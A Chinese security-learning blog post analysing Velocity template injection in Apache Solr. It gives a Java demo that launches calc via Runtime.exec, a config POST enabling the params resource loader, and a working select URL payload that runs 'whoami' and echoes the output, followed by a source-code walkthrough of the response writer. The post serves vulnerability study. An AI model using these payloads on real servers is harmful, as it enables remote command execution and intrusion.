当前位置: 首页 > news >正文

从Apache Solr 看 Velocity 模板注入

前言

学过 freemaker,学过 Thymeleaf 模板注入,但是还没有学过 Velocity 模板注入,然后学习一个知识最好的方法就是要找一个实际中的例子去学习,好巧不巧,前端时间还在分析 apache solr 的 cve,这次又搜到了 Apache Solr 的 Velocity 模板注入漏洞,开始学习,启动,感觉结合一个例子来学,学得还是比较理解到的

Velocity 模板注入基础

首先搭建一个环境,因为这样边写边学才能学得更快

Pom.xml 文件

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"><modelVersion>4.0.0</modelVersion><groupId>org.example</groupId><artifactId>velocity</artifactId><version>1.0-SNAPSHOT</version><properties><maven.compiler.source>8</maven.compiler.source><maven.compiler.target>8</maven.compiler.target><project.build.sourceEncoding>UTF-8</project.build.sourceEncoding></properties><dependencies><!-- https://mvnrepository.com/artifact/org.apache.velocity/velocity-engine-core --><dependency><groupId>org.apache.velocity</groupId><artifactId>velocity-engine-core</artifactId><version>2.0</version></dependency></dependencies></project>

直接复制粘贴就 ok

#和$和set

#用来标识Velocity的脚本语句,包括#set、#if 、#else、#end、#foreach、#end、#include、#parse、#macro等语句。 $用来标识一个变量,比如模板文件中为Hello $a`,可以获取通过上下文传递的$ a

import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.Velocity;import java.io.StringWriter;public class Test {public static void main(String[] args) {Velocity.init();String templateString ="#set($a = \"ooyywwll\")" +"Hello $a";VelocityContext context = new VelocityContext();StringWriter writer = new StringWriter();Velocity.evaluate(context, writer, "test", templateString);System.out.println(writer.toString());}
}

输出 Hello ooyywwll

获取属性

paylaod 改为 `#set($e="e")$e.getClass()
输出 class java.lang.String

当然还有.的这种形式

context.put("user", new User("aaaa"));hello, $user.name!输出 hello, $user.aaaa!

执行恶意命令

看下面的一个例子

import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.Velocity;import java.io.StringWriter;public class Test {public static void main(String[] args) {Velocity.init();String templateString ="#set($e=\"e\")\n" +"$e.getClass().forName(\"java.lang.Runtime\").getMethod(\"getRuntime\",null).invoke(null,null).exec(\"calc\")";VelocityContext context = new VelocityContext();StringWriter writer = new StringWriter();Velocity.evaluate(context, writer, "test", templateString);System.out.println(writer.toString());}
}

其实和我们的 spel 表达式几乎没有区别

开启配置

因为需要模板注入,还需要在配置文件中设置一下

在官方文档中搜寻一下,如何修改配置,或者看一些文章
参考https://blog.csdn.net/zteny/article/details/51868764

SolrConfigHandler提供一个实时且动态的获取和更新 solrconfig.xml 配置的功能。其实这么说并不准确,但可以先这么理解。因为 SolrConfigHandler 并没有直接更新 solrconfig.xml,而且是在 zookeeper 中的 solrconfig.xml 同目录下生成一个 configoverlay.json 文件用于存储更新配置项。格式当然是 json 了啦。

SolrConfigHandler 主要提供两个功能,查询配置信息和更改配置信息。对应 SolrConfigHandler 也是非常清晰,获取配置信息用 METHOD.GET,而更改配置信息用的是 METHOD.POST

所以我们就需要使用 METHOD.POST 方法去修改配置

可以发送如下的请求

POST /solr/demo/config HTTP/1.1
Host: 192.168.177.146:8983
Content-Length: 259
Cache-Control: max-age=0
Origin: http://192.168.177.146:8983
Content-Type: application/json
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.177.146:8983/solr/demo/config
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive{"update-queryresponsewriter": {"startup": "lazy","name": "velocity","class": "solr.VelocityResponseWriter","template.base.dir": "","solr.resource.loader.enabled": "true","params.resource.loader.enabled": "true"}
}

然后我们再次使用获取配置信息用 METHOD.GET

可以看到,params.resource.loader.enabled 已经开启

这个的调试分析就算了,因为重点是学习模板注入

模板注入调试分析

按照模板注入的特点,我们可以全局查找一下 template.merge 是否存在模板注入

可以看见是可能存在模板注入的

这里给出 paylaod
方便调试分析

http://192.168.177.146:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

这个 paylaod 的复杂点在于获取命令执行后的回显,如果只执行命令的话是比较简单的

首先需要明确一点,渲染模板是用来回显的,至于 apache solr 的基本流程,以前的文章已经说过了,而且网上也很多,核心就是模板渲染是为了回显的,所以我们关注代码的时候,也是重点关注生成响应的代码
call:558, HttpSolrCall (org.apache.solr.servlet)
决定了我们这次请求的类型

switch (action) {case ADMIN:handleAdminRequest();return RETURN;case REMOTEQUERY:SolrRequestInfo.setRequestInfo(new SolrRequestInfo(req, new SolrQueryResponse()));remoteQuery(coreUrl + path, resp);return RETURN;case PROCESS:final Method reqMethod = Method.getMethod(req.getMethod());HttpCacheHeaderUtil.setCacheControlHeader(config, resp, reqMethod);// unless we have been explicitly told not to, do cache validation// if we fail cache validation, execute the queryif (config.getHttpCachingConfig().isNever304() ||!HttpCacheHeaderUtil.doCacheHeaderValidation(solrReq, req, reqMethod, resp)) {SolrQueryResponse solrRsp = new SolrQueryResponse();/* even for HEAD requests, we need to execute the handler to* ensure we don't get an error (and to make sure the correct* QueryResponseWriter is selected and we get the correct* Content-Type)*/SolrRequestInfo.setRequestInfo(new SolrRequestInfo(solrReq, solrRsp));execute(solrRsp);if (shouldAudit()) {EventType eventType = solrRsp.getException() == null ? EventType.COMPLETED : EventType.ERROR;if (shouldAudit(eventType)) {cores.getAuditLoggerPlugin().doAudit(new AuditEvent(eventType, req, getAuthCtx(), solrReq.getRequestTimer().getTime(), solrRsp.getException()));}}HttpCacheHeaderUtil.checkHttpCachingVeto(solrRsp, resp, reqMethod);Iterator<Map.Entry<String, String>> headers = solrRsp.httpHeaders();while (headers.hasNext()) {Map.Entry<String, String> entry = headers.next();resp.addHeader(entry.getKey(), entry.getValue());}QueryResponseWriter responseWriter = getResponseWriter();if (invalidStates != null) solrReq.getContext().put(CloudSolrClient.STATE_VERSION, invalidStates);writeResponse(solrRsp, responseWriter, reqMethod);}return RETURN;default: return action;}
}

这里是 PROCESS,然后很明显的构造请求的方法是 writeResponse
但是前面的参数也是很重要的
我们的输入都存储在

SolrQueryResponse solrRsp = new SolrQueryResponse();/* even for HEAD requests, we need to execute the handler to* ensure we don't get an error (and to make sure the correct* QueryResponseWriter is selected and we get the correct* Content-Type)*/
SolrRequestInfo.setRequestInfo(new SolrRequestInfo(solrReq, solrRsp));

进入writeResponse 方法

private void writeResponse(SolrQueryResponse solrRsp, QueryResponseWriter responseWriter, Method reqMethod)throws IOException {try {Object invalidStates = solrReq.getContext().get(CloudSolrClient.STATE_VERSION);//This is the last item added to the response and the client would expect it that way.//If that assumption is changed , it would fail. This is done to avoid an O(n) scan on// the response for each requestif (invalidStates != null) solrRsp.add(CloudSolrClient.STATE_VERSION, invalidStates);// Now write it outfinal String ct = responseWriter.getContentType(solrReq, solrRsp);// don't call setContentType on nullif (null != ct) response.setContentType(ct);if (solrRsp.getException() != null) {NamedList info = new SimpleOrderedMap();int code = ResponseUtils.getErrorInfo(solrRsp.getException(), info, log);solrRsp.add("error", info);response.setStatus(code);}if (Method.HEAD != reqMethod) {OutputStream out = response.getOutputStream();QueryResponseWriterUtil.writeQueryResponse(out, responseWriter, solrReq, solrRsp, ct);}//else http HEAD request, nothing to write out, waited this long just to get ContentType} catch (EOFException e) {log.info("Unable to write response, client closed connection or we are shutting down", e);}
}

可以看到获取了 ContentType,请求的方法,请求的输出

此时的响应还没有完全形成
因为这只是最基本的响应,后面还需要渲染,而我们输入的参数就决定了如何渲染,处理是在

QueryResponseWriterUtil.writeQueryResponse(out, responseWriter, solrReq, solrRsp, ct);
public static void writeQueryResponse(OutputStream outputStream,QueryResponseWriter responseWriter, SolrQueryRequest solrRequest,SolrQueryResponse solrResponse, String contentType) throws IOException {if (responseWriter instanceof BinaryQueryResponseWriter) {BinaryQueryResponseWriter binWriter = (BinaryQueryResponseWriter) responseWriter;binWriter.write(outputStream, solrRequest, solrResponse);} else {OutputStream out = new OutputStream() {@Overridepublic void write(int b) throws IOException {outputStream.write(b);}@Overridepublic void flush() throws IOException {// We don't flush here, which allows us to flush below// and only flush internal buffers, not the response.// If we flush the response early, we trigger chunked encoding.// See SOLR-8669.}};Writer writer = buildWriter(out, ContentStreamBase.getCharsetFromContentType(contentType));responseWriter.write(writer, solrRequest, solrResponse);writer.flush();}
}

这段代码的主要功能是将查询响应结果写入输出流

然后进入 responseWriter.write 方法
这里我们的 responseWriter 是 VelocityResponseWriter
当然这样的流还有很多

主要和我们的输入有关系

protected QueryResponseWriter getResponseWriter() {String wt = solrReq.getParams().get(CommonParams.WT);if (core != null) {return core.getQueryResponseWriter(wt);} else {return SolrCore.DEFAULT_RESPONSE_WRITERS.getOrDefault(wt,SolrCore.DEFAULT_RESPONSE_WRITERS.get("standard"));}
}

我们的 paylaod wt 是等于 velocity

public void write(Writer writer, SolrQueryRequest request, SolrQueryResponse response) throws IOException {VelocityEngine engine = createEngine(request);  // TODO: have HTTP headers available for configuring engineTemplate template = getTemplate(engine, request);VelocityContext context = createContext(request, response);context.put("engine", engine);  // for $engine.resourceExists(...)String layoutTemplate = request.getParams().get(LAYOUT);boolean layoutEnabled = request.getParams().getBool(LAYOUT_ENABLED, true) && layoutTemplate != null;String jsonWrapper = request.getParams().get(JSON);boolean wrapResponse = layoutEnabled || jsonWrapper != null;// create outputif (!wrapResponse) {// straight-forward template/context merge to outputtemplate.merge(context, writer);}else {// merge to a string buffer, then wrap with layout and finally as JSONStringWriter stringWriter = new StringWriter();template.merge(context, stringWriter);if (layoutEnabled) {context.put("content", stringWriter.toString());stringWriter = new StringWriter();try {engine.getTemplate(layoutTemplate + TEMPLATE_EXTENSION).merge(context, stringWriter);} catch (Exception e) {throw new IOException(e.getMessage());}}if (jsonWrapper != null) {for (int i=0; i<jsonWrapper.length(); i++) {if (!Character.isJavaIdentifierPart(jsonWrapper.charAt(i))) {throw new SolrException(SolrException.ErrorCode.BAD_REQUEST, "Invalid function name for " + JSON + ": '" + jsonWrapper + "'");}}writer.write(jsonWrapper + "(");writer.write(getJSONWrap(stringWriter.toString()));writer.write(')');} else {  // using a layout, but not JSON wrappingwriter.write(stringWriter.toString());}}
}

可以发现是在这里渲染的模板,

最后

也是才开始学习这个模板注入,分析了这个 cve 后,对大概的挖掘流程和解析流程还是比直接看学得好了一点

相关文章:

从Apache Solr 看 Velocity 模板注入

前言 学过 freemaker&#xff0c;学过 Thymeleaf 模板注入&#xff0c;但是还没有学过 Velocity 模板注入&#xff0c;然后学习一个知识最好的方法就是要找一个实际中的例子去学习&#xff0c;好巧不巧&#xff0c;前端时间还在分析 apache solr 的 cve&#xff0c;这次又搜到…...

Spring 事务和事务传播机制

Spring 事务和事务传播机制 一、Spring 事务的基本概念 事务是一组操作&#xff0c;被视为一个不可分割的工作单元&#xff0c;要么全部完成&#xff0c;要么全部失败回滚&#xff0c;以此来确保数据的一致性和完整性。Spring事务管理允许我们在应用程序中声明式地或编程式地…...

flutter 解决webview加载重定向h5页面 返回重复加载问题

long time no see. 如果觉得该方案helps&#xff0c;点个赞&#xff0c;评论打个call&#xff0c;这是我前进的动力~ 通常写法&#xff1a; 项目里用的webview_flutter 正常webview处理返回事件 if (await controller.canGoBack()) {controller.goBack(); } else {Navigator…...

STM32的寄存器是几位的?

STM32的“32”顾名思义就是32位的意思 但是STM32 的寄存器并不都是 32 位的&#xff0c;它们的位宽取决于具体的寄存器和处理器架构。STM32 是基于 ARM Cortex-M 系列内核的微控制器&#xff0c;而这些内核的寄存器通常有不同的位宽。 具体来说&#xff0c;STM32 微控制器的寄…...

基于python的汽车数据爬取数据分析与可视化

一、研究背景 基于提供的代码片段和讨论&#xff0c;我们可以得出一个与网络抓取、数据处理和数据可视化相关的研究背景&#xff0c;该背景涉及到汽车行业。以下是研究背景的陈述&#xff1a; "在迅速发展的汽车行业中&#xff0c;准确和及时的数据对各方利益相关者至关…...

使用mtools搭建MongoDB复制集和分页集群

mtools介绍 mtools是一套基于Python实现的MongoDB工具集&#xff0c;其包括MongoDB日志分析、报表生成及简易的数据库安装等功能。它由MongoDB原生的工程师单独发起并做开源维护&#xff0c;目前已经有大量的使用者。 mtools所包含的一些常用组件如下&#xff1a; mlaunch支…...

Redis(配置文件属性解析)

一、tcp-backlog深度解析 tcp-backlog是一个TCP连接的队列&#xff0c;主要用于解决高并发场景下客户端慢连接问题。配置文件中的“511”就是队列的长度&#xff0c;对联与TCP的三次握手有关&#xff0c;不同的linux内核&#xff0c;backlog队列中存放的元素&#xff08;客户端…...

思维导图+实现一个登录窗口界面

QQ2024122-205851 import sys from PyQt6.QtGui import QIcon, QPixmap, QMovie from PyQt6.QtWidgets import QApplication, QWidget, QLineEdit, QPushButton, QLabel, QVBoxLayout# 封装我的窗口类 class LoginWidget(QWidget):# 构造函数def __init__(self):# 初始化父类su…...

T507 buildroot linux4.9之RTC8563开发调试

文章目录 前言一、硬件确认1.1、RTC8563硬件二、驱动配置2.1、驱动位置2.2、使用config宏配置驱动2.3、DTS配置三、断电重启时间不保存分析四、解决问题五、测试前言 调试T507的RTC8563,解决中调试遇到的问题 一、硬件确认 1.1、RTC8563硬件 通过原理图确认 RTC8563 硬件的…...

网络安全专业术语

网络安全专有名词详解 1.肉鸡 被黑客操控的终端设备&#xff08;电脑、服务器、移动设备等等&#xff09;&#xff0c;黑客可以随心所欲的操作这些终端设备而不会被发觉。 2.木马 表面上伪装成正常的程序&#xff0c;但是当这些程序运行时候就会获取整个系统的控制权限&#…...

【大数据学习 | Spark-SQL】关于RDD、DataFrame、Dataset对象

1. 概念&#xff1a; RDD&#xff1a; 弹性分布式数据集&#xff1b; DataFrame&#xff1a; DataFrame是一种以RDD为基础的分布式数据集&#xff0c;类似于传统数据库中的二维表格。带有schema元信息&#xff0c;即DataFrame所表示的二维表数据集的每一列都带有名称和类型…...

zerotier实现内网穿透

zerotier的内网穿透 前言一、zerotier的框架认知二、客户端安装设置1.linux2.windows 前言 摸索了一阵&#xff0c;看了好几篇&#xff0c;没有讲清楚。争取这次说清楚。 一、zerotier的框架认知 先认识一下zerotier的框架&#xff0c;这样如何处理就很好理解了。 首先上zero…...

Ardusub源码剖析——control_althold.cpp

代码 #include "Sub.h"/** control_althold.pde - init and run calls for althold, flight mode*/// althold_init - initialise althold controller bool Sub::althold_init() {if(!control_check_barometer()) {return false;}// initialize vertical maximum sp…...

Vue前端开发-路由的基本配置

在传统的 Web 页面开发过程中&#xff0c;可以借助超级链接标签实现站内多个页面间的相互跳转&#xff0c;而在现代的工程化、模块化下开发的Web页面只有一个&#xff0c;在一个页面中需要实现站内各功能页面渲染&#xff0c;相互跳转&#xff0c;这时些功能的实现&#xff0c;…...

HarmonyOS JSON解析与生成 常用的几个方法

HarmonyOS 使用 JSON解析与生成 的好处 一、轻量级与高效性 易于阅读和编写&#xff1a;JSON格式的数据易于人类阅读和编写&#xff0c;降低了数据处理的复杂性。高效解析与生成&#xff1a;HarmonyOS的JSON解析库提供了一系列高效的函数和类&#xff0c;能够快速地将JSON字符串…...

Docker 进阶指南:常用命令、最佳实践与资源管理

Docker 进阶指南&#xff1a;常用命令、最佳实践与资源管理 Docker 作为一种轻量级的容器化技术&#xff0c;已经成为现代软件开发和部署不可或缺的工具。本文将为您深入介绍 Docker 的常用命令、最佳实践以及如何有效管理容器资源&#xff0c;帮助您更好地在 Ubuntu 22.04 或…...

【前端】特殊案例分析深入理解 JavaScript 中的词法作用域

博客主页&#xff1a; [小ᶻ☡꙳ᵃⁱᵍᶜ꙳] 本文专栏: 前端 文章目录 &#x1f4af;前言&#x1f4af;案例代码&#x1f4af;词法作用域&#xff08;Lexical Scope&#xff09;与静态作用域什么是词法作用域&#xff1f;代码执行的详细分析 &#x1f4af;函数定义与调用的…...

Jmeter进阶篇(29)AI+性能测试领域场景落地

🏝️关于我:我是綦枫。一个顺手写写代码的音乐制作人。 前言 随着2022年GPT3.5的问世,我们的社会已经进入了AI时代,这是一个全新的风口,也会迎来全新的挑战和机遇。如果能抓住新时代的风口,你将会在进步的路上越走越快。今天让我们来一起探究一下,在软件性能测试领域,…...

理解和应用 Python Requests 库中的 .json() 方法:详细解析与示例

理解和应用 Python Requests 库中的 .json() 方法&#xff1a;详细解析与示例 在使用 Python 的 requests 库进行网络请求时&#xff0c;.json() 方法是一种非常实用的功能&#xff0c;用于将从 API 获取的 JSON 格式的字符串响应转换为 Python 可操作的字典或列表。这一功能的…...

docker 运行my-redis命令

CREATE TABLE orders ( order_id bigint NOT NULL COMMENT "订单ID", dt date NOT NULL COMMENT "日期", merchant_id int NOT NULL COMMENT "商家ID", user_id int NOT NULL COMMENT "用户ID", good_id int NOT NULL COMMENT "商…...

MFC内存泄露

1、泄露代码示例 void X::SetApplicationBtn() {CMFCRibbonApplicationButton* pBtn GetApplicationButton();// 获取 Ribbon Bar 指针// 创建自定义按钮CCustomRibbonAppButton* pCustomButton new CCustomRibbonAppButton();pCustomButton->SetImage(IDB_BITMAP_Jdp26)…...

大模型多显卡多服务器并行计算方法与实践指南

一、分布式训练概述 大规模语言模型的训练通常需要分布式计算技术,以解决单机资源不足的问题。分布式训练主要分为两种模式: 数据并行:将数据分片到不同设备,每个设备拥有完整的模型副本 模型并行:将模型分割到不同设备,每个设备处理部分模型计算 现代大模型训练通常结合…...

自然语言处理——Transformer

自然语言处理——Transformer 自注意力机制多头注意力机制Transformer 虽然循环神经网络可以对具有序列特性的数据非常有效&#xff0c;它能挖掘数据中的时序信息以及语义信息&#xff0c;但是它有一个很大的缺陷——很难并行化。 我们可以考虑用CNN来替代RNN&#xff0c;但是…...

【HarmonyOS 5 开发速记】如何获取用户信息(头像/昵称/手机号)

1.获取 authorizationCode&#xff1a; 2.利用 authorizationCode 获取 accessToken&#xff1a;文档中心 3.获取手机&#xff1a;文档中心 4.获取昵称头像&#xff1a;文档中心 首先创建 request 若要获取手机号&#xff0c;scope必填 phone&#xff0c;permissions 必填 …...

今日学习:Spring线程池|并发修改异常|链路丢失|登录续期|VIP过期策略|数值类缓存

文章目录 优雅版线程池ThreadPoolTaskExecutor和ThreadPoolTaskExecutor的装饰器并发修改异常并发修改异常简介实现机制设计原因及意义 使用线程池造成的链路丢失问题线程池导致的链路丢失问题发生原因 常见解决方法更好的解决方法设计精妙之处 登录续期登录续期常见实现方式特…...

零基础在实践中学习网络安全-皮卡丘靶场(第九期-Unsafe Fileupload模块)(yakit方式)

本期内容并不是很难&#xff0c;相信大家会学的很愉快&#xff0c;当然对于有后端基础的朋友来说&#xff0c;本期内容更加容易了解&#xff0c;当然没有基础的也别担心&#xff0c;本期内容会详细解释有关内容 本期用到的软件&#xff1a;yakit&#xff08;因为经过之前好多期…...

【无标题】路径问题的革命性重构:基于二维拓扑收缩色动力学模型的零点隧穿理论

路径问题的革命性重构&#xff1a;基于二维拓扑收缩色动力学模型的零点隧穿理论 一、传统路径模型的根本缺陷 在经典正方形路径问题中&#xff08;图1&#xff09;&#xff1a; mermaid graph LR A((A)) --- B((B)) B --- C((C)) C --- D((D)) D --- A A -.- C[无直接路径] B -…...

【Linux手册】探秘系统世界:从用户交互到硬件底层的全链路工作之旅

目录 前言 操作系统与驱动程序 是什么&#xff0c;为什么 怎么做 system call 用户操作接口 总结 前言 日常生活中&#xff0c;我们在使用电子设备时&#xff0c;我们所输入执行的每一条指令最终大多都会作用到硬件上&#xff0c;比如下载一款软件最终会下载到硬盘上&am…...

五子棋测试用例

一.项目背景 1.1 项目简介 传统棋类文化的推广 五子棋是一种古老的棋类游戏&#xff0c;有着深厚的文化底蕴。通过将五子棋制作成网页游戏&#xff0c;可以让更多的人了解和接触到这一传统棋类文化。无论是国内还是国外的玩家&#xff0c;都可以通过网页五子棋感受到东方棋类…...

Matlab实现任意伪彩色图像可视化显示

Matlab实现任意伪彩色图像可视化显示 1、灰度原始图像2、RGB彩色原始图像 在科研研究中&#xff0c;如何展示好看的实验结果图像非常重要&#xff01;&#xff01;&#xff01; 1、灰度原始图像 灰度图像每个像素点只有一个数值&#xff0c;代表该点的​​亮度&#xff08;或…...